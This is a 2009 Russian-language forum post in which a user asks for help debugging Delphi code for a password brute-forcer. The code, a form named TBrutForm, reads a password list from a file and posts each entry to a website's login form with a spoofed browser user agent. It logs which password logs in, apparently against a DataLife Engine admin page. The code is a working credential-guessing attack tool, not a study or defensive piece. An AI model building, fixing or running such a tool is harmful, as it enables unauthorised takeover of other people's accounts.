Показать сообщение отдельно

  #12  
Старый 19.12.2009, 14:42
Kandi
Познающий
Регистрация: 18.11.2009
Сообщений: 44
С нами: 8673383

Репутация: 3
По умолчанию

Цитата:
Сообщение от ZdezBilYa  
у вас идет освобождение списка:



вынесите это за цикл for
Вот так? всё ровно ругается...

Код:
procedure TBrutForm.StartButtonClick(Sender: TObject);
var
  Http  : TidHttp;
  CM    : TidCookieManager;
  Data  : TStringList;
  StrPage, UserID,  UserName  :  String;
  Str1 : TStringList;
  i : Integer;
begin
  Str1:=TStringList.Create;
  Str1.LoadFromFile(Open1.FileName);
begin
for i:=0 to str1.count-1 do
  try
    Http := TIdHTTP.Create(Self);
    Data := TStringList.Create;
    CM := TidCookieManager.Create(Http);
    Http.AllowCookies := true;
    Http.CookieManager := CM;
    Http.HandleRedirects := true;

    Http.Request.Host:=HostEdit.Text;
    Http.Request.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 WebMoney Advisor';
    Http.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
    Http.Request.AcceptLanguage:='ru,en-us;q=0.7,en;q=0.3';
    Http.Request.AcceptCharSet:='windows-1251,utf-8;q=0.7,*;q=0.7';
    Http.Request.Referer:=RefererEdit.Text;

    Data.Add('subaction=dologin');
    Data.Add('username='+NickEdit.Text);
    Data.Add('password='+Str1[i]);
    Data.Add('selected_language='+BoxLanguage.Text);
    StrPage := Http.Post(HTTPEdit.Text, Data);
  finally
    Data.Free;
    CM.Free;
    Http.Free;
  end;

  if Pos('Engine:</td',StrPage) <> 0 then
    MemoLog.Lines.Add('Авторизовался под паролем '+Str1[i])
  else
    MemoLog.Lines.Add('Авторизация под паролем' +Str1[i]+ 'не получилась!');
end;
Str1.Free;
end;
или за

Код:
  finally
    Data.Free;
    CM.Free;
    Http.Free;
  end;
Str1.Free;

  if Pos('Engine:</td',StrPage) <> 0 then
    MemoLog.Lines.Add('Авторизовался под паролем '+Str1[i])
  else
по-моему второй вариант?
всё ровно виснет если два пароля :\
 
Ответить с цитированием